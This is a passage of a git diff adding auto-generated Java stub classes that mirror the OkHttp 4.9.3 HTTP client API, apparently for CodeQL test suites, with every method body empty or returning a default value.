+    public static CipherSuite.Companion Companion = null;
+
+    static public class Companion {
+        protected Companion() {}
+
+        public final CipherSuite forJavaName(String p0) {
+            return null;
+        }
+
+        public final Comparator<String> getORDER_BY_NAME$okhttp() {
+            return null;
+        }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Connection.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Connection.java
new file mode 100644
index 00000000000..636a95bccc8
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Connection.java
@@ -0,0 +1,16 @@
+// Generated automatically from okhttp3.Connection for testing purposes
+
+package okhttp3;
+
+import java.net.Socket;
+import okhttp3.Handshake;
+import okhttp3.Protocol;
+import okhttp3.Route;
+
+public interface Connection
+{
+    Handshake handshake();
+    Protocol protocol();
+    Route route();
+    Socket socket();
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/ConnectionPool.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/ConnectionPool.java
new file mode 100644
index 00000000000..ec315626985
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/ConnectionPool.java
@@ -0,0 +1,17 @@
+// Generated automatically from okhttp3.ConnectionPool for testing purposes
+
+package okhttp3;
+
+import java.util.concurrent.TimeUnit;
+import okhttp3.internal.connection.RealConnectionPool;
+
+public class ConnectionPool
+{
+    public ConnectionPool(){}
+    public ConnectionPool(RealConnectionPool p0){}
+    public ConnectionPool(int p0, long p1, TimeUnit p2){}
+    public final RealConnectionPool getDelegate$okhttp(){ return null; }
+    public final int connectionCount(){ return 0; }
+    public final int idleConnectionCount(){ return 0; }
+    public final void evictAll(){}
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/ConnectionSpec.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/ConnectionSpec.java
new file mode 100644
index 00000000000..9f8d14b4714
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/ConnectionSpec.java
@@ -0,0 +1,58 @@
+// Generated automatically from okhttp3.ConnectionSpec for testing purposes
+
+package okhttp3;
+
+import java.util.List;
+import javax.net.ssl.SSLSocket;
+import okhttp3.CipherSuite;
+import okhttp3.TlsVersion;
+
+public class ConnectionSpec {
+    protected ConnectionSpec() {}
+
+    public ConnectionSpec(boolean p0, boolean p1, String[] p2, String[] p3) {}
+
+    public String toString() {
+        return null;
+    }
+
+    public boolean equals(Object p0) {
+        return false;
+    }
+
+    public final List<CipherSuite> cipherSuites() {
+        return null;
+    }
+
+    public final List<TlsVersion> tlsVersions() {
+        return null;
+    }
+
+    public final boolean isCompatible(SSLSocket p0) {
+        return false;
+    }
+
+    public final boolean isTls() {
+        return false;
+    }
+
+    public final boolean supportsTlsExtensions() {
+        return false;
+    }
+
+    public final void apply$okhttp(SSLSocket p0, boolean p1) {}
+
+    public int hashCode() {
+        return 0;
+    }
+
+    public static ConnectionSpec CLEARTEXT = null;
+    public static ConnectionSpec COMPATIBLE_TLS = null;
+    public static ConnectionSpec MODERN_TLS = null;
+    public static ConnectionSpec RESTRICTED_TLS = null;
+    public static ConnectionSpec.Companion Companion = null;
+
+    static public class Companion {
+        protected Companion() {}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Cookie.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Cookie.java
new file mode 100644
index 00000000000..3ffd4a2a270
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Cookie.java
@@ -0,0 +1,93 @@
+// Generated automatically from okhttp3.Cookie for testing purposes
+
+package okhttp3;
+
+import java.util.List;
+import okhttp3.Headers;
+import okhttp3.HttpUrl;
+
+public class Cookie {
+    protected Cookie() {}
+
+    public String toString() {
+        return null;
+    }
+
+    public boolean equals(Object p0) {
+        return false;
+    }
+
+    public final String domain() {
+        return null;
+    }
+
+    public final String name() {
+        return null;
+    }
+
+    public final String path() {
+        return null;
+    }
+
+    public final String toString$okhttp(boolean p0) {
+        return null;
+    }
+
+    public final String value() {
+        return null;
+    }
+
+    public final boolean hostOnly() {
+        return false;
+    }
+
+    public final boolean httpOnly() {
+        return false;
+    }
+
+    public final boolean matches(HttpUrl p0) {
+        return false;
+    }
+
+    public final boolean persistent() {
+        return false;
+    }
+
+    public final boolean secure() {
+        return false;
+    }
+
+    public final long expiresAt() {
+        return 0;
+    }
+
+    public int hashCode() {
+        return 0;
+    }
+
+    public static Cookie parse(HttpUrl p0, String p1) {
+        return null;
+    }
+
+    public static Cookie.Companion Companion = null;
+
+    public static List<Cookie> parseAll(HttpUrl p0, Headers p1) {
+        return null;
+    }
+
+    static public class Companion {
+        protected Companion() {}
+
+        public final Cookie parse$okhttp(long p0, HttpUrl p1, String p2) {
+            return null;
+        }
+
+        public final Cookie parse(HttpUrl p0, String p1) {
+            return null;
+        }
+
+        public final List<Cookie> parseAll(HttpUrl p0, Headers p1) {
+            return null;
+        }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/CookieJar.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/CookieJar.java
new file mode 100644
index 00000000000..59d63069688
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/CookieJar.java
@@ -0,0 +1,19 @@
+// Generated automatically from okhttp3.CookieJar for testing purposes
+
+package okhttp3;
+
+import java.util.List;
+import okhttp3.Cookie;
+import okhttp3.HttpUrl;
+
+public interface CookieJar
+{
+    List<Cookie> loadForRequest(HttpUrl p0);
+    static CookieJar NO_COOKIES = null;
+    static CookieJar.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+    }
+    void saveFromResponse(HttpUrl p0, List<Cookie> p1);
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Dispatcher.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Dispatcher.java
new file mode 100644
index 00000000000..ca74ca9e775
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Dispatcher.java
@@ -0,0 +1,62 @@
+// Generated automatically from okhttp3.Dispatcher for testing purposes
+
+package okhttp3;
+
+import java.util.List;
+import java.util.concurrent.ExecutorService;
+import okhttp3.Call;
+import okhttp3.internal.connection.RealCall;
+
+public class Dispatcher {
+    public Dispatcher() {}
+
+    public Dispatcher(ExecutorService p0) {}
+
+    public final ExecutorService executorService() {
+        return null;
+    }
+
+    public final List<Call> queuedCalls() {
+        return null;
+    }
+
+    public final List<Call> runningCalls() {
+        return null;
+    }
+
+    public final Runnable getIdleCallback() {
+        return null;
+    }
+
+    public final int getMaxRequests() {
+        return 0;
+    }
+
+    public final int getMaxRequestsPerHost() {
+        return 0;
+    }
+
+    public final int queuedCallsCount() {
+        return 0;
+    }
+
+    public final int runningCallsCount() {
+        return 0;
+    }
+
+    public final void cancelAll() {}
+
+    public final void enqueue$okhttp(RealCall.AsyncCall p0) {}
+
+    public final void executed$okhttp(RealCall p0) {}
+
+    public final void finished$okhttp(RealCall p0) {}
+
+    public final void finished$okhttp(RealCall.AsyncCall p0) {}
+
+    public final void setIdleCallback(Runnable p0) {}
+
+    public final void setMaxRequests(int p0) {}
+
+    public final void setMaxRequestsPerHost(int p0) {}
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Dns.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Dns.java
new file mode 100644
index 00000000000..6d31f149178
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Dns.java
@@ -0,0 +1,17 @@
+// Generated automatically from okhttp3.Dns for testing purposes
+
+package okhttp3;
+
+import java.net.InetAddress;
+import java.util.List;
+
+public interface Dns
+{
+    List<InetAddress> lookup(String p0);
+    static Dns SYSTEM = null;
+    static Dns.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/EventListener.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/EventListener.java
new file mode 100644
index 00000000000..994ecdf8183
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/EventListener.java
@@ -0,0 +1,60 @@
+// Generated automatically from okhttp3.EventListener for testing purposes
+
+package okhttp3;
+
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.Proxy;
+import java.util.List;
+import okhttp3.Call;
+import okhttp3.Connection;
+import okhttp3.Handshake;
+import okhttp3.HttpUrl;
+import okhttp3.Protocol;
+import okhttp3.Request;
+import okhttp3.Response;
+
+abstract public class EventListener
+{
+    public EventListener(){}
+    public static EventListener NONE = null;
+    public static EventListener.Companion Companion = null;
+    public void cacheConditionalHit(Call p0, Response p1){}
+    public void cacheHit(Call p0, Response p1){}
+    public void cacheMiss(Call p0){}
+    public void callEnd(Call p0){}
+    public void callFailed(Call p0, IOException p1){}
+    public void callStart(Call p0){}
+    public void canceled(Call p0){}
+    public void connectEnd(Call p0, InetSocketAddress p1, Proxy p2, Protocol p3){}
+    public void connectFailed(Call p0, InetSocketAddress p1, Proxy p2, Protocol p3, IOException p4){}
+    public void connectStart(Call p0, InetSocketAddress p1, Proxy p2){}
+    public void connectionAcquired(Call p0, Connection p1){}
+    public void connectionReleased(Call p0, Connection p1){}
+    public void dnsEnd(Call p0, String p1, List<InetAddress> p2){}
+    public void dnsStart(Call p0, String p1){}
+    public void proxySelectEnd(Call p0, HttpUrl p1, List<Proxy> p2){}
+    public void proxySelectStart(Call p0, HttpUrl p1){}
+    public void requestBodyEnd(Call p0, long p1){}
+    public void requestBodyStart(Call p0){}
+    public void requestFailed(Call p0, IOException p1){}
+    public void requestHeadersEnd(Call p0, Request p1){}
+    public void requestHeadersStart(Call p0){}
+    public void responseBodyEnd(Call p0, long p1){}
+    public void responseBodyStart(Call p0){}
+    public void responseFailed(Call p0, IOException p1){}
+    public void responseHeadersEnd(Call p0, Response p1){}
+    public void responseHeadersStart(Call p0){}
+    public void satisfactionFailure(Call p0, Response p1){}
+    public void secureConnectEnd(Call p0, Handshake p1){}
+    public void secureConnectStart(Call p0){}
+    static public class Companion
+    {
+        protected Companion() {}
+    }
+    static public interface Factory
+    {
+        EventListener create(Call p0);
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Handshake.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Handshake.java
new file mode 100644
index 00000000000..2f97dee0c4c
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Handshake.java
@@ -0,0 +1,78 @@
+// Generated automatically from okhttp3.Handshake for testing purposes
+
+package okhttp3;
+
+import java.security.Principal;
+import java.security.cert.Certificate;
+import java.util.List;
+import javax.net.ssl.SSLSession;
+import kotlin.jvm.functions.Function0;
+import okhttp3.CipherSuite;
+import okhttp3.TlsVersion;
+
+public class Handshake {
+    protected Handshake() {}
+
+    public Handshake(TlsVersion p0, CipherSuite p1, List<? extends Certificate> p2,
+            Function0<? extends List<? extends Certificate>> p3) {}
+
+    public String toString() {
+        return null;
+    }
+
+    public boolean equals(Object p0) {
+        return false;
+    }
+
+    public final CipherSuite cipherSuite() {
+        return null;
+    }
+
+    public final List<Certificate> localCertificates() {
+        return null;
+    }
+
+    public final List<Certificate> peerCertificates() {
+        return null;
+    }
+
+    public final Principal localPrincipal() {
+        return null;
+    }
+
+    public final Principal peerPrincipal() {
+        return null;
+    }
+
+    public final TlsVersion tlsVersion() {
+        return null;
+    }
+
+    public int hashCode() {
+        return 0;
+    }
+
+    public static Handshake get(SSLSession p0) {
+        return null;
+    }
+
+    public static Handshake get(TlsVersion p0, CipherSuite p1, List<? extends Certificate> p2,
+            List<? extends Certificate> p3) {
+        return null;
+    }
+
+    public static Handshake.Companion Companion = null;
+
+    static public class Companion {
+        protected Companion() {}
+
+        public final Handshake get(SSLSession p0) {
+            return null;
+        }
+
+        public final Handshake get(TlsVersion p0, CipherSuite p1, List<? extends Certificate> p2,
+                List<? extends Certificate> p3) {
+            return null;
+        }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Headers.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Headers.java
new file mode 100644
index 00000000000..1d19626d587
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Headers.java
@@ -0,0 +1,161 @@
+// Generated automatically from okhttp3.Headers for testing purposes
+
+package okhttp3;
+
+import java.time.Instant;
+import java.util.Date;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import kotlin.Pair;
+import kotlin.jvm.internal.markers.KMappedMarker;
+
+public class Headers implements Iterable<Pair<? extends String, ? extends String>>, KMappedMarker {
+    protected Headers() {}
+
+    public Iterator<Pair<? extends String, ? extends String>> iterator() {
+        return null;
+    }
+
+    public String toString() {
+        return null;
+    }
+
+    public boolean equals(Object p0) {
+        return false;
+    }
+
+    public final Date getDate(String p0) {
+        return null;
+    }
+
+    public final Headers.Builder newBuilder() {
+        return null;
+    }
+
+    public final Instant getInstant(String p0) {
+        return null;
+    }
+
+    public final List<String> values(String p0) {
+        return null;
+    }
+
+    public final Map<String, List<String>> toMultimap() {
+        return null;
+    }
+
+    public final Set<String> names() {
+        return null;
+    }
+
+    public final String get(String p0) {
+        return null;
+    }
+
+    public final String name(int p0) {
+        return null;
+    }
+
+    public final String value(int p0) {
+        return null;
+    }
+
+    public final int size() {
+        return 0;
+    }
+
+    public final long byteCount() {
+        return 0;
+    }
+
+    public int hashCode() {
+        return 0;
+    }
+
+    public static Headers of(Map<String, String> p0) {
+        return null;
+    }
+
+    public static Headers of(String... p0) {
+        return null;
+    }
+
+    public static Headers.Companion Companion = null;
+
+    static public class Builder {
+        public Builder() {}
+
+        public final Headers build() {
+            return null;
+        }
+
+        public final Headers.Builder add(String p0) {
+            return null;
+        }
+
+        public final Headers.Builder add(String p0, Date p1) {
+            return null;
+        }
+
+        public final Headers.Builder add(String p0, Instant p1) {
+            return null;
+        }
+
+        public final Headers.Builder add(String p0, String p1) {
+            return null;
+        }
+
+        public final Headers.Builder addAll(Headers p0) {
+            return null;
+        }
+
+        public final Headers.Builder addLenient$okhttp(String p0) {
+            return null;
+        }
+
+        public final Headers.Builder addLenient$okhttp(String p0, String p1) {
+            return null;
+        }
+
+        public final Headers.Builder addUnsafeNonAscii(String p0, String p1) {
+            return null;
+        }
+
+        public final Headers.Builder removeAll(String p0) {
+            return null;
+        }
+
+        public final Headers.Builder set(String p0, Date p1) {
+            return null;
+        }
+
+        public final Headers.Builder set(String p0, Instant p1) {
+            return null;
+        }
+
+        public final Headers.Builder set(String p0, String p1) {
+            return null;
+        }
+
+        public final List<String> getNamesAndValues$okhttp() {
+            return null;
+        }
+
+        public final String get(String p0) {
+            return null;
+        }
+    }
+    static public class Companion {
+        protected Companion() {}
+
+        public final Headers of(Map<String, String> p0) {
+            return null;
+        }
+
+        public final Headers of(String... p0) {
+            return null;
+        }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/HttpUrl.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/HttpUrl.java
new file mode 100644
index 00000000000..5fef4d9606d
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/HttpUrl.java
@@ -0,0 +1,390 @@
+// Generated automatically from okhttp3.HttpUrl for testing purposes
+
+package okhttp3;
+
+import java.net.URI;
+import java.net.URL;
+import java.nio.charset.Charset;
+import java.util.List;
+import java.util.Set;
+
+public class HttpUrl {
+    protected HttpUrl() {}
+
+    public HttpUrl(String p0, String p1, String p2, String p3, int p4, List<String> p5,
+            List<String> p6, String p7, String p8) {}
+
+    public String toString() {
+        return null;
+    }
+
+    public boolean equals(Object p0) {
+        return false;
+    }
+
+    public final HttpUrl resolve(String p0) {
+        return null;
+    }
+
+    public final HttpUrl.Builder newBuilder() {
+        return null;
+    }
+
+    public final HttpUrl.Builder newBuilder(String p0) {
+        return null;
+    }
+
+    public final List<String> encodedPathSegments() {
+        return null;
+    }
+
+    public final List<String> pathSegments() {
+        return null;
+    }
+
+    public final List<String> queryParameterValues(String p0) {
+        return null;
+    }
+
+    public final Set<String> queryParameterNames() {
+        return null;
+    }
+
+    public final String encodedFragment() {
+        return null;
+    }
+
+    public final String encodedPassword() {
+        return null;
+    }
+
+    public final String encodedPath() {
+        return null;
+    }
+
+    public final String encodedQuery() {
+        return null;
+    }
+
+    public final String encodedUsername() {
+        return null;
+    }
+
+    public final String fragment() {
+        return null;
+    }
+
+    public final String host() {
+        return null;
+    }
+
+    public final String password() {
+        return null;
+    }
+
+    public final String query() {
+        return null;
+    }
+
+    public final String queryParameter(String p0) {
+        return null;
+    }
+
+    public final String queryParameterName(int p0) {
+        return null;
+    }
+
+    public final String queryParameterValue(int p0) {
+        return null;
+    }
+
+    public final String redact() {
+        return null;
+    }
+
+    public final String scheme() {
+        return null;
+    }
+
+    public final String topPrivateDomain() {
+        return null;
+    }
+
+    public final String username() {
+        return null;
+    }
+
+    public final URI uri() {
+        return null;
+    }
+
+    public final URL url() {
+        return null;
+    }
+
+    public final boolean isHttps() {
+        return false;
+    }
+
+    public final int pathSize() {
+        return 0;
+    }
+
+    public final int port() {
+        return 0;
+    }
+
+    public final int querySize() {
+        return 0;
+    }
+
+    public int hashCode() {
+        return 0;
+    }
+
+    public static HttpUrl get(String p0) {
+        return null;
+    }
+
+    public static HttpUrl get(URI p0) {
+        return null;
+    }
+
+    public static HttpUrl get(URL p0) {
+        return null;
+    }
+
+    public static HttpUrl parse(String p0) {
+        return null;
+    }
+
+    public static HttpUrl.Companion Companion = null;
+    public static String FORM_ENCODE_SET = null;
+    public static String FRAGMENT_ENCODE_SET = null;
+    public static String FRAGMENT_ENCODE_SET_URI = null;
+    public static String PASSWORD_ENCODE_SET = null;
+    public static String PATH_SEGMENT_ENCODE_SET = null;
+    public static String PATH_SEGMENT_ENCODE_SET_URI = null;
+    public static String QUERY_COMPONENT_ENCODE_SET = null;
+    public static String QUERY_COMPONENT_ENCODE_SET_URI = null;
+    public static String QUERY_COMPONENT_REENCODE_SET = null;
+    public static String QUERY_ENCODE_SET = null;
+    public static String USERNAME_ENCODE_SET = null;
+
+    public static int defaultPort(String p0) {
+        return 0;
+    }
+
+    static public class Builder {
+        public Builder() {}
+
+        public String toString() {
+            return null;
+        }
+
+        public final HttpUrl build() {
+            return null;
+        }
+
+        public final HttpUrl.Builder addEncodedPathSegment(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder addEncodedPathSegments(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder addEncodedQueryParameter(String p0, String p1) {
+            return null;
+        }
+
+        public final HttpUrl.Builder addPathSegment(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder addPathSegments(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder addQueryParameter(String p0, String p1) {
+            return null;
+        }
+
+        public final HttpUrl.Builder encodedFragment(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder encodedPassword(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder encodedPath(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder encodedQuery(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder encodedUsername(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder fragment(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder host(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder parse$okhttp(HttpUrl p0, String p1) {
+            return null;
+        }
+
+        public final HttpUrl.Builder password(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder port(int p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder query(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder reencodeForUri$okhttp() {
+            return null;
+        }
+
+        public final HttpUrl.Builder removeAllEncodedQueryParameters(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder removeAllQueryParameters(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder removePathSegment(int p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder scheme(String p0) {
+            return null;
+        }
+
+        public final HttpUrl.Builder setEncodedPathSegment(int p0, String p1) {
+            return null;
+        }
+
+        public final HttpUrl.Builder setEncodedQueryParameter(String p0, String p1) {
+            return null;
+        }
+
+        public final HttpUrl.Builder setPathSegment(int p0, String p1) {
+            return null;
+        }
+
+        public final HttpUrl.Builder setQueryParameter(String p0, String p1) {
+            return null;
+        }
+
+        public final HttpUrl.Builder username(String p0) {
+            return null;
+        }
+
+        public final List<String> getEncodedPathSegments$okhttp() {
+            return null;
+        }
+
+        public final List<String> getEncodedQueryNamesAndValues$okhttp() {
+            return null;
+        }
+
+        public final String getEncodedFragment$okhttp() {
+            return null;
+        }
+
+        public final String getEncodedPassword$okhttp() {
+            return null;
+        }
+
+        public final String getEncodedUsername$okhttp() {
+            return null;
+        }
+
+        public final String getHost$okhttp() {
+            return null;
+        }
+
+        public final String getScheme$okhttp() {
+            return null;
+        }
+
+        public final int getPort$okhttp() {
+            return 0;
+        }
+
+        public final void setEncodedFragment$okhttp(String p0) {}
+
+        public final void setEncodedPassword$okhttp(String p0) {}
+
+        public final void setEncodedQueryNamesAndValues$okhttp(List<String> p0) {}
+
+        public final void setEncodedUsername$okhttp(String p0) {}
+
+        public final void setHost$okhttp(String p0) {}
+
+        public final void setPort$okhttp(int p0) {}
+
+        public final void setScheme$okhttp(String p0) {}
+
+        public static HttpUrl.Builder.Companion Companion = null;
+        public static String INVALID_HOST = null;
+
+        static public class Companion {
+            protected Companion() {}
+        }
+    }
+    static public class Companion {
+        protected Companion() {}
+
+        public final HttpUrl get(String p0) {
+            return null;
+        }
+
+        public final HttpUrl get(URI p0) {
+            return null;
+        }
+
+        public final HttpUrl get(URL p0) {
+            return null;
+        }
+
+        public final HttpUrl parse(String p0) {
+            return null;
+        }
+
+        public final List<String> toQueryNamesAndValues$okhttp(String p0) {
+            return null;
+        }
+
+        public final String canonicalize$okhttp(String p0, int p1, int p2, String p3, boolean p4,
+                boolean p5, boolean p6, boolean p7, Charset p8) {
+            return null;
+        }
+
+        public final String percentDecode$okhttp(String p0, int p1, int p2, boolean p3) {
+            return null;
+        }
+
+        public final int defaultPort(String p0) {
+            return 0;
+        }
+
+        public final void toPathString$okhttp(List<String> p0, StringBuilder p1) {}
+
+        public final void toQueryString$okhttp(List<String> p0, StringBuilder p1) {}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Interceptor.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Interceptor.java
new file mode 100644
index 00000000000..db6c0e27b94
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/Interceptor.java
@@ -0,0 +1,34 @@
+// Generated automatically from okhttp3.Interceptor for testing purposes
+
+package okhttp3;
+
+import java.util.concurrent.TimeUnit;
+import kotlin.jvm.functions.Function1;
+import okhttp3.Call;
+import okhttp3.Connection;
+import okhttp3.Request;
+import okhttp3.Response;
+
+public interface Interceptor
+{
+    Response intercept(Interceptor.Chain p0);
+    static Interceptor.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+        public final Interceptor invoke(Function1<? super Interceptor.Chain, Response> p0){ return null; }
+    }
+    static public interface Chain
+    {
+        Call call();
+        Connection connection();
+        Interceptor.Chain withConnectTimeout(int p0, TimeUnit p1);
+        Interceptor.Chain withReadTimeout(int p0, TimeUnit p1);
+        Interceptor.Chain withWriteTimeout(int p0, TimeUnit p1);
+        Request request();
+        Response proceed(Request p0);
+        int connectTimeoutMillis();
+        int readTimeoutMillis();
+        int writeTimeoutMillis();
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/MediaType.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/MediaType.java
new file mode 100644
index 00000000000..2b3a2f0117a
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/MediaType.java
@@ -0,0 +1,63 @@
+// Generated automatically from okhttp3.MediaType for testing purposes
+
+package okhttp3;
+
+import java.nio.charset.Charset;
+
+public class MediaType {
+    protected MediaType() {}
+
+    public String toString() {
+        return null;
+    }
+
+    public boolean equals(Object p0) {
+        return false;
+    }
+
+    public final Charset charset() {
+        return null;
+    }
+
+    public final Charset charset(Charset p0) {
+        return null;
+    }
+
+    public final String parameter(String p0) {
+        return null;
+    }
+
+    public final String subtype() {
+        return null;
+    }
+
+    public final String type() {
+        return null;
+    }
+
+    public int hashCode() {
+        return 0;
+    }
+
+    public static MediaType get(String p0) {
+        return null;
+    }
+
+    public static MediaType parse(String p0) {
+        return null;
+    }
+
+    public static MediaType.Companion Companion = null;
+
+    static public class Companion {
+        protected Companion() {}
+
+        public final MediaType get(String p0) {
+            return null;
+        }
+
+        public final MediaType parse(String p0) {
+            return null;
+        }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/OkHttpClient.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/OkHttpClient.java
new file mode 100644
index 00000000000..2af0180eb36
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/OkHttpClient.java
@@ -0,0 +1,528 @@
+// Generated automatically from okhttp3.OkHttpClient for testing purposes
+
+package okhttp3;
+
+import java.net.Proxy;
+import java.net.ProxySelector;
+import java.time.Duration;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+import javax.net.SocketFactory;
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.SSLSocketFactory;
+import javax.net.ssl.X509TrustManager;
+import kotlin.jvm.functions.Function1;
+import okhttp3.Authenticator;
+import okhttp3.Cache;
+import okhttp3.Call;
+import okhttp3.CertificatePinner;
+import okhttp3.ConnectionPool;
+import okhttp3.ConnectionSpec;
+import okhttp3.CookieJar;
+import okhttp3.Dispatcher;
+import okhttp3.Dns;
+import okhttp3.EventListener;
+import okhttp3.Interceptor;
+import okhttp3.Protocol;
+import okhttp3.Request;
+import okhttp3.Response;
+import okhttp3.WebSocket;
+import okhttp3.WebSocketListener;
+import okhttp3.internal.connection.RouteDatabase;
+import okhttp3.internal.tls.CertificateChainCleaner;
+
+public class OkHttpClient implements Call.Factory, Cloneable, WebSocket.Factory {
+    public Call newCall(Request p0) {
+        return null;
+    }
+
+    public Object clone() {
+        return null;
+    }
+
+    public OkHttpClient() {}
+
+    public OkHttpClient(OkHttpClient.Builder p0) {}
+
+    public OkHttpClient.Builder newBuilder() {
+        return null;
+    }
+
+    public WebSocket newWebSocket(Request p0, WebSocketListener p1) {
+        return null;
+    }
+
+    public final Authenticator authenticator() {
+        return null;
+    }
+
+    public final Authenticator proxyAuthenticator() {
+        return null;
+    }
+
+    public final Cache cache() {
+        return null;
+    }
+
+    public final CertificateChainCleaner certificateChainCleaner() {
+        return null;
+    }
+
+    public final CertificatePinner certificatePinner() {
+        return null;
+    }
+
+    public final ConnectionPool connectionPool() {
+        return null;
+    }
+
+    public final CookieJar cookieJar() {
+        return null;
+    }
+
+    public final Dispatcher dispatcher() {
+        return null;
+    }
+
+    public final Dns dns() {
+        return null;
+    }
+
+    public final EventListener.Factory eventListenerFactory() {
+        return null;
+    }
+
+    public final HostnameVerifier hostnameVerifier() {
+        return null;
+    }
+
+    public final List<ConnectionSpec> connectionSpecs() {
+        return null;
+    }
+
+    public final List<Interceptor> interceptors() {
+        return null;
+    }
+
+    public final List<Interceptor> networkInterceptors() {
+        return null;
+    }
+
+    public final List<Protocol> protocols() {
+        return null;
+    }
+
+    public final Proxy proxy() {
+        return null;
+    }
+
+    public final ProxySelector proxySelector() {
+        return null;
+    }
+
+    public final RouteDatabase getRouteDatabase() {
+        return null;
+    }
+
+    public final SSLSocketFactory sslSocketFactory() {
+        return null;
+    }
+
+    public final SocketFactory socketFactory() {
+        return null;
+    }
+
+    public final X509TrustManager x509TrustManager() {
+        return null;
+    }
+
+    public final boolean followRedirects() {
+        return false;
+    }
+
+    public final boolean followSslRedirects() {
+        return false;
+    }
+
+    public final boolean retryOnConnectionFailure() {
+        return false;
+    }
+
+    public final int callTimeoutMillis() {
+        return 0;
+    }
+
+    public final int connectTimeoutMillis() {
+        return 0;
+    }
+
+    public final int pingIntervalMillis() {
+        return 0;
+    }
+
+    public final int readTimeoutMillis() {
+        return 0;
+    }
+
+    public final int writeTimeoutMillis() {
+        return 0;
+    }
+
+    public final long minWebSocketMessageToCompress() {
+        return 0;
+    }
+
+    public static OkHttpClient.Companion Companion = null;
+
+    static public class Builder {
+        public Builder() {}
+
+        public Builder(OkHttpClient p0) {}
+
+        public final Authenticator getAuthenticator$okhttp() {
+            return null;
+        }
+
+        public final Authenticator getProxyAuthenticator$okhttp() {
+            return null;
+        }
+
+        public final Cache getCache$okhttp() {
+            return null;
+        }
+
+        public final CertificateChainCleaner getCertificateChainCleaner$okhttp() {
+            return null;
+        }
+
+        public final CertificatePinner getCertificatePinner$okhttp() {
+            return null;
+        }
+
+        public final ConnectionPool getConnectionPool$okhttp() {
+            return null;
+        }
+
+        public final CookieJar getCookieJar$okhttp() {
+            return null;
+        }
+
+        public final Dispatcher getDispatcher$okhttp() {
+            return null;
+        }
+
+        public final Dns getDns$okhttp() {
+            return null;
+        }
+
+        public final EventListener.Factory getEventListenerFactory$okhttp() {
+            return null;
+        }
+
+        public final HostnameVerifier getHostnameVerifier$okhttp() {
+            return null;
+        }
+
+        public final List<ConnectionSpec> getConnectionSpecs$okhttp() {
+            return null;
+        }
+
+        public final List<Interceptor> getInterceptors$okhttp() {
+            return null;
+        }
+
+        public final List<Interceptor> getNetworkInterceptors$okhttp() {
